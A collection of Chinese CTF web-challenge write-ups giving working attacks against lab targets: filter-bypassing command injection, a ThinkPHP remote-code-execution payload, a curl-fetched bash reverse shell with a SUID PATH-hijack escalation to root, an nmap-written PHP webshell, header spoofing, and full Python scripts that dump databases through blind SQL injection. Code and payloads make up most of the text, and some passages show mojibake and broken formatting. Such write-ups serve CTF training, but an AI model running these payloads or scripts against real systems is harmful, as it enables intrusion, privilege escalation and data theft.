打开环境没有界面
直接目录扫描得到
login.php
访问得到
发现存在文件包含
试试目录跳跃,发现被过滤掉了
那就直接php为协议读源码
http://www.bmzclub.cn:22020/login.php?zhongzi=php://filter/read=convert.base64-encode/resource=index.php
解码得到
<?php error_reporting(0); if (isset($_GET['url'])) { $ip=$_GET['url']; if(preg_match("/(;|'| |>|]|&| |python|sh|nc|tac|rev|more|tailf|index|php|head|nl|sort|less|cat|ruby|perl|bash|rm|cp|mv|\*)/i", $ip)){ die("<script language='javascript' type='text/javascript'> alert('no no no!') window.location.href='index.php';</script>"); }else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){ die("<script language='javascript' type='text/javascript'> alert('no flag!') window.location.href='index.php';</script>"); } $a = shell_exec("ping -c 4 ".$ip); echo $a; } ?>
有两个正则
windows.location.href="/url"
当前页面打开URL页面。
shell_exec
(PHP 4, PHP 5, PHP 7) shell_exec — 通过 shell 环境执行命令,并且将完整的输出以字符串的方式返回。
payload:http://www.bmzclub.cn:22020/index.php?url=127.0.0.1|c\a\t${IFS}/????
打开环境 会发现进行自动跳转
我们先进public目录下的index.php的入口文件跳转到这
然后直接进行thinkphp的url重写
https://serverName/index.php(入口文件)/模块/控制器/操作/参数/值…;
然后随便一个解释器和操作让它报错 好让我们拿到版本号
http://www.bmzclub.cn:22020/index.php/index/lindex/hello
得到版本号,直接百度找利用payload
http://www.bmzclub.cn:22020/index.php?s=captcha (POST)_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=whoami
打开环境
<?php highlight_file(__FILE__); if(isset($_GET['ip'])){ $ip = $_GET['ip']; $_=array('b','d','e','-','q','f','g','i','p','j','+','k','m','n','\<','\>','o','w','x','\~','\:','\^','\@','\&','\'','\%','\"','\*','\(','\)','\!','\=','\.','\[','\]','\}','\{','\_'); $blacklist = array_merge($_); foreach ($blacklist as $blacklisted) { if (strlen($ip) <= 18){ if (preg_match ('/' . $blacklisted . '/im', $ip)) { die('nonono'); }else{ exec($ip); } } else{ die("long"); } } }
传入一个GET型的ip参数,设置一个_变量,将_作为$blacklist
ip经过两重判断,一是长度小于18,二是balcklist黑名单匹配,匹配到的将敏感词替换为/im
思路:过滤挺多,到目前可以看出curl没有过滤掉
所以直接反弹sell
自己挂个vps的主页为:
bash -c "bash -i >& /dev/tcp/IP地址/8080 0>&1"
然后vps上监听:
nc -lvnp 8080
然后payload:
?ip=curl (10进制ip)|sh
反弹成功后会发现不是root权限
所以要进行越权
先找一下suid
find / -user root -perm -4000 -print 2>/dev/null
发现love里面有个ps命令
ps命令没有指定是哪个目录下的。
那么我们就可以伪造ps命令来提权。
我们在/tmp目录下伪造ps命令。因为/tmp目录有可写权限
cd /tmp # 进入/tmp目录 echo "/bin/bash" >ps #将payload写入ps文件 chmod 777 ps #设置可读可写可执行权限 $PATH #查看环境变量 export PATH=/tmp:$PATH #将/tmp加入环境变量,并放在第一个位置
运行love,发现权限变成root了
然后读取flag就好了
cat /root/flag
在用户名有报错注入
爆库名
1' and extractvalue(0,concat(0x7e,database()))#
返回结果
XPATH syntax error: '~geek'
爆表名
1' and extractvalue(0,concat(0x7e,(select group_concat(distinct table_name)from information_schema.tables where table_schema='geek')))#
返回结果
XPATH syntax error: '~geekuser,l0ve1ysq1~'
爆字段
1' and extractvalue(0,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_name='l0ve1ysq1')))#
返回结果
XPATH syntax error: '~id,username,password'
然后使用substr()截取字段内容,当截取到下标为225时,返回flag的一部分:
1' union select updatexml(1,concat(0x7e,substr((select group_concat(password) FROM geek.l0ve1ysq1),225,250),0x7e),1);#
返回结果
XPATH syntax error: '~u_ji,Syc_san_da_hacker,flag{060'
同理得到flag
传入id,有两种返回结果,1以及2。很容易的推测到可能是布尔盲注。
fuzz之后发现WAF了空格。使用括号可以绕过。
这里直接用了通杀语句if(ascii(substr((select(flag)from(flag)),1,1))=ascii('f'),1,2)。
exp
import requests string = "Hello, glzjin wants a girlfriend." url = "http://c51bbb75-0b7f-4f51-8343-a1e164f75d10.node3.buuoj.cn/index.php" flag = "" for i in range(50): for j in range(127): payload = "if(ascii(substr((select(flag)from(flag)),%d,1))=%d,1,2)" % (i, j) data = {'id': payload} files = [] headers = {} response = requests.request("POST", url, headers=headers, data=data, files=files) print(j) #为了防止因网络原因而导致爆破中断丢失数据 if response.text.find(string) != -1: flag += chr(j) print(flag) break
忘记了是哪位师傅的全能查表脚本了,直接保存一手终于用上了
# -*- coding:utf-8 -*- import requests import time def ascii_str(): # 生成库名表名字符所在的字符列表字典 str_list = [] for i in range(33, 127): # 所有可显示字符 str_list.append(chr(i)) # print('可显示字符:%s'%str_list) return str_list # 返回字符列表 def db_length(url, str): print("[-]开始测试数据库名长度.......") num = 1 while True: db_payload = url + "/**/and/**/(length(database())=%d)--+" % num r = requests.get(db_payload) if r.status_code == 429: print("too fast") time.sleep(0.5) if str in r.text: db_length = num print("[+]数据库长度:%d\n" % db_length) db_name(db_length) # 进行下一步,测试库名 break else: num += 1 def db_name(db_length): print("[-]开始测试数据库名.......") db_name = '' str_list = ascii_str() for i in range(1, db_length + 1): for j in str_list: db_payload = url + "/**/and/**/(ord(mid(database(),%d,1))='%s')--+" % (i, ord(j)) r = requests.get(db_payload) if r.status_code == 429: print("too fast") time.sleep(0.5) if str in r.text: db_name += j break print("[+]数据库名:%s\n" % db_name) tb_piece(db_name) # 进行下一步,测试security数据库有几张表 return db_name def tb_piece(db_name): print("开始测试%s数据库有几张表........" % db_name) for i in range(100): # 猜解库中有多少张表,合理范围即可 tb_payload = url + "/**/and/**/%d=(select/**/count(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema='%s')--+" % ( i, db_name) r = requests.get(tb_payload) if r.status_code == 429: print("too fast") time.sleep(0.5) if str in r.text: tb_piece = i break print("[+]%s库一共有%d张表\n" % (db_name, tb_piece)) tb_name(db_name, tb_piece) # 进行下一步,猜解表名 def tb_name(db_name, tb_piece): print("[-]开始猜解表名.......") table_list = [] for i in range(tb_piece): str_list = ascii_str() tb_length = 0 tb_name = '' for j in range(1, 20): # 表名长度,合理范围即可 tb_payload = url + "/**/and/**/(select/**/length(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database()/**/limit/**/%d,1)=%d--+" % ( i, j) r = requests.get(tb_payload) if r.status_code == 429: print("too fast") time.sleep(0.5) if str in r.text: tb_length = j print("第%d张表名长度:%s" % (i + 1, tb_length)) for k in range(1, tb_length + 1): # 根据表名长度进行截取对比 for l in str_list: tb_payload = url + "/**/and/**/(select/**/ord(mid((select/**/table_name/**/from/**/information_schema.tables/**/where/**/table_schema=database()/**/limit/**/%d,1),%d,1)))=%d--+" % ( i, k, ord(l)) r = requests.get(tb_payload) if r.status_code == 429: print("too fast") time.sleep(0.5) if str in r.text: tb_name += l print("[+]:%s" % tb_name) table_list.append(tb_name) break print("\n[+]%s库下的%s张表:%s\n" % (db_name, tb_piece, table_list)) column_num(table_list, db_name) # 进行下一步,猜解每张表的字段数 def column_num(table_list, db_name): print("[-]开始猜解每张表的字段数:.......") column_num_list = [] for i in table_list: for j in range(30): # 每张表的字段数量,合理范围即可 column_payload = url + "/**/and/**/%d=(select/**/count(column_name)/**/from/**/information_schema.columns/**/where/**/table_name='%s')--+" % ( j, i) r = requests.get(column_payload) if r.status_code == 429: print("too fast") time.sleep(0.5) if str in r.text: column_num = j column_num_list.append(column_num) # 把所有表的字段,依次放入这个列表当中 print("[+]%s表\t%s个字段" % (i, column_num)) break print("\n[+]表对应的字段数:%s\n" % column_num_list) column_name(table_list, column_num_list, db_name) # 进行下一步,猜解每张表的字段名 def column_name(table_list, column_num_list, db_name): print("[-]开始猜解每张表的字段名.......") column_length = [] str_list = ascii_str() column_name_list = [] for t in range(len(table_list)): # t在这里代表每张表的列表索引位置 print("\n[+]%s表的字段:" % table_list[t]) for i in range(column_num_list[t]): # i表示每张表的字段数量 column_name = '' for j in range(1, 21): # j表示每个字段的长度 column_name_length = url + "/**/and/**/%d=(select/**/length(column_name)/**/from/**/information_schema.columns/**/where/**/table_name='%s'/**/limit/**/%d,1)--+" % ( j - 1, table_list[t], i) r = requests.get(column_name_length) if r.status_code == 429: print("too fast") time.sleep(0.5) if str in r.text: column_length.append(j) break for k in str_list: # k表示我们猜解的字符字典 column_payload = url + "/**/and/**/ord(mid((select/**/column_name/**/from/**/information_schema.columns/**/where/**/table_name='%s'/**/limit/**/%d,1),%d,1))=%d--+" % ( table_list[t], i, j, ord(k)) r = requests.get(column_payload) if r.status_code == 429: print("too fast") time.sleep(0.5) if str in r.text: column_name += k print('[+]:%s' % column_name) column_name_list.append(column_name) print(column_name_list)#输出所有表中的字段名到一个列表中 dump_data(table_list, column_name_list, db_name) # 进行最后一步,输出指定字段的数据 def dump_data(table_list, column_name_list, db_name): print("\n[-]对%s表的%s字段进行爆破.......\n" % (table_list[0], column_name_list[0:2])) str_list = ascii_str() for i in column_name_list[0:2]: for j in range(101): # j表示有多少条数据,合理范围即可 data_num_payload = url + "/**/and/**/(select/**/count(%s)/**/from/**/%s.%s)=%d--+" % (i, db_name, table_list[0], j) r = requests.get(data_num_payload) if str in r.text: data_num = j break print("\n[+]%s表中的%s字段有以下%s条数据:" % (table_list[0], i, data_num)) for k in range(data_num): data_len = 0 dump_data = '' for l in range(1,80): # l表示每条数据的长度,合理范围即可 data_len_payload = url + "/**/and/**/ascii(substr((select/**/%s/**/from/**/%s.%s/**/limit/**/%d,1),%d,1))--+" % ( i, db_name, table_list[0], k, l) r = requests.get(data_len_payload) if str not in r.text: data_len = l - 1 for x in range(1, data_len + 1): # x表示每条数据的实际范围,作为mid截取的范围 for y in str_list: data_payload = url + "/**/and/**/ord(mid((select/**/%s/**/from/**/%s.%s/**/limit/**/%d,1),%d,1))=%d--+" % ( i, db_name, table_list[0], k, x, ord(y)) r = requests.get(data_payload) if str in r.text: dump_data += y break break print('[+]%s' % dump_data) # 输出每条数据 if __name__ == '__main__': url = "http://268c8f8f-42b5-422e-8a28-b3bc2777c4c0.node4.buuoj.cn:81/?stunum=1" # 目标url str = "Hi admin" # 布尔型盲注的true&false的判断因素 db_length(url, str) # 程序入口
盲注乱杀
i
mport requests import time url1 = "http://268c8f8f-42b5-422e-8a28-b3bc2777c4c0.node4.buuoj.cn:81/?stunum=" data = "" for i in range(1,500): for j in range(31,128): payload = 'if(ascii(substr((select(value)from(flag)),{},1))={},1,0)'.format(i,j)#字段值 r = requests.get(url = url1 + payload ) if r.status_code == 429: print("too fast") time.sleep(0.5) if r"Hi admin, your score is: 100" in r.text: data += chr(j) print(data)
打开环境先访问index.php没有跳转,直接访问robotx.txt得到一个假的flag文件,
然后反反复复的找在网络头里面找到了一个提示
然后访问得到源码
<?php header('Content-type:text/html;charset=utf-8'); error_reporting(0); highlight_file(__file__); //level 1 if (isset($_GET['num'])){ $num = $_GET['num']; if(intval($num) < 2020 && intval($num + 1) > 2021){ echo "鎴戜笉缁忔剰闂寸湅浜嗙湅鎴戠殑鍔冲姏澹�, 涓嶆槸鎯崇湅鏃堕棿, 鍙槸鎯充笉缁忔剰闂�, 璁╀綘鐭ラ亾鎴戣繃寰楁瘮浣犲ソ.</br>"; }else{ die("閲戦挶瑙e喅涓嶄簡绌蜂汉鐨勬湰璐ㄩ棶棰�"); } }else{ die("鍘婚潪娲插惂"); } //level 2 if (isset($_GET['md5'])){ $md5=$_GET['md5']; if ($md5==md5($md5)) echo "鎯冲埌杩欎釜CTFer鎷垮埌flag鍚�, 鎰熸縺娑曢浂, 璺戝幓涓滄緶宀�, 鎵句竴瀹堕鍘�, 鎶婂帹甯堣桨鍑哄幓, 鑷繁鐐掍袱涓嬁鎵嬪皬鑿�, 鍊掍竴鏉暎瑁呯櫧閰�, 鑷村瘜鏈夐亾, 鍒灏忔毚.</br>"; else die("鎴戣刀绱у枈鏉ユ垜鐨勯厭鑲夋湅鍙�, 浠栨墦浜嗕釜鐢佃瘽, 鎶婁粬涓€瀹跺畨鎺掑埌浜嗛潪娲�"); }else{ die("鍘婚潪娲插惂"); } //get flag if (isset($_GET['get_flag'])){ $get_flag = $_GET['get_flag']; if(!strstr($get_flag," ")){ $get_flag = str_ireplace("cat", "wctf2020", $get_flag); echo "鎯冲埌杩欓噷, 鎴戝厖瀹炶€屾鎱�, 鏈夐挶浜虹殑蹇箰寰€寰€灏辨槸杩欎箞鐨勬湸瀹炴棤鍗�, 涓旀灟鐕�.</br>"; system($get_flag); }else{ die("蹇埌闈炴床浜�"); } }else{ die("鍘婚潪娲插惂"); } ?>
然后这里有三个地方需要绕过
if(intval($num) < 2020 && intval($num + 1) > 2021)
这个intval() 函数将括号内的值转换为整型,可以通过科学计数法来进行绕过
注意这个绕过方式只能在PHP5.5的版本进行复现
所以num=1e4
if ( m d 5 = = m d 5 ( md5==md5( md5==md5(md5))
第二关就是md5加密的值等于他本身
然后我之前的笔记直接拿到这个值md5=0e215962017
if(!strstr($get_flag," ")){ $get_flag = str_ireplace("cat", "wctf2020", $get_flag);
第三关就是这里的替换,过滤了cat和空格
直接命令执行绕过就行 tac 和 %09(php环境下)
先去ls一下 得到flag文件名 然后 读取就行
<?php if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) { $_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR']; } if(!isset($_GET['host'])) { highlight_file(__FILE__); } else { $host = $_GET['host']; $host = escapeshellarg($host); $host = escapeshellcmd($host); $sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']); echo 'you are in sandbox '.$sandbox; @mkdir($sandbox); chdir($sandbox); echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host); }
这道题重点
h
o
s
t
=
e
s
c
a
p
e
s
h
e
l
l
a
r
g
(
host = escapeshellarg(
host=escapeshellarg(host);
h
o
s
t
=
e
s
c
a
p
e
s
h
e
l
l
c
m
d
(
host = escapeshellcmd(
host=escapeshellcmd(host);
然后payload就是
'<?php eval($_POST["a"]);?> -oG 1.php '
然后蚁剑连接就行了
源码中得到
<!-- //1st $query = $_SERVER['QUERY_STRING']; if( substr_count($query, '_') !== 0 || substr_count($query, '%5f') != 0 ){ die('Y0u are So cutE!'); } if($_GET['b_u_p_t'] !== '23333' && preg_match('/^23333$/', $_GET['b_u_p_t'])){ echo "you are going to the next ~"; } !-->
第一个if绕过很简单
我们这里用+绕过然后第二个正则用回车的url编码绕过就行
b+u+p+t=23333%0a
然后得到jsfuck代码 解码叫我们post传参个那个一个随便一个值
<?php error_reporting(0); include 'takeip.php'; ini_set('open_basedir','.'); include 'flag.php'; if(isset($_POST['Merak'])){ highlight_file(__FILE__); die(); } function change($v){ $v = base64_decode($v); $re = ''; for($i=0;$i<strlen($v);$i++){ $re .= chr ( ord ($v[$i]) + $i*2 ); } return $re; } echo 'Local access only!'."<br/>"; $ip = getIp(); if($ip!='127.0.0.1') echo "Sorry,you don't have permission! Your ip is :".$ip; if($ip === '127.0.0.1' && file_get_contents($_GET['2333']) === 'todat is a happy day' ){ echo "Your REQUEST is:".change($_GET['file']); echo file_get_contents(change($_GET['file'])); } ?>
这里有个加密
function change($v){ $v = base64_decode($v); $re = ''; for($i=0;$i<strlen($v);$i++){ $re .= chr ( ord ($v[$i]) + $i*2 ); } return $re; }
我们来逆一下
<?php function unchange($v){ $re = ''; for($i=0;$i<strlen($v);$i++){ $re .= chr ( ord ($v[$i]) - $i*2 ); } return $re; } $real_flag = unchange('flag.php'); echo base64_encode($real_flag);
然后利用data伪协议过第一个if
还要加上ip头混淆
X-Forwarded-For: 127.0.0.1 X-Forwarded: 127.0.0.1 Forwarded-For: 127.0.0.1 Forwarded: 127.0.0.1 X-Forwarded-Host: 127.0.0.1 X-remote-IP: 127.0.0.1 X-remote-addr: 127.0.0.1 True-Client-IP: 127.0.0.1 X-Client-IP: 127.0.0.1 Client-IP: 127.0.0.1 X-Real-IP: 127.0.0.1 Ali-CDN-Real-IP: 127.0.0.1 Cdn-Src-Ip: 127.0.0.1 Cdn-Real-Ip: 127.0.0.1 CF-Connecting-IP: 127.0.0.1 X-Cluster-Client-IP: 127.0.0.1 WL-Proxy-Client-IP: 127.0.0.1 Proxy-Client-IP: 127.0.0.1 Fastly-Client-Ip: 127.0.0.1 True-Client-Ip: 127.0.0.1
所以payload:?2333=data:text/plain,todat%20is%20a%20happy%20day&file=ZmpdYSZmXGI=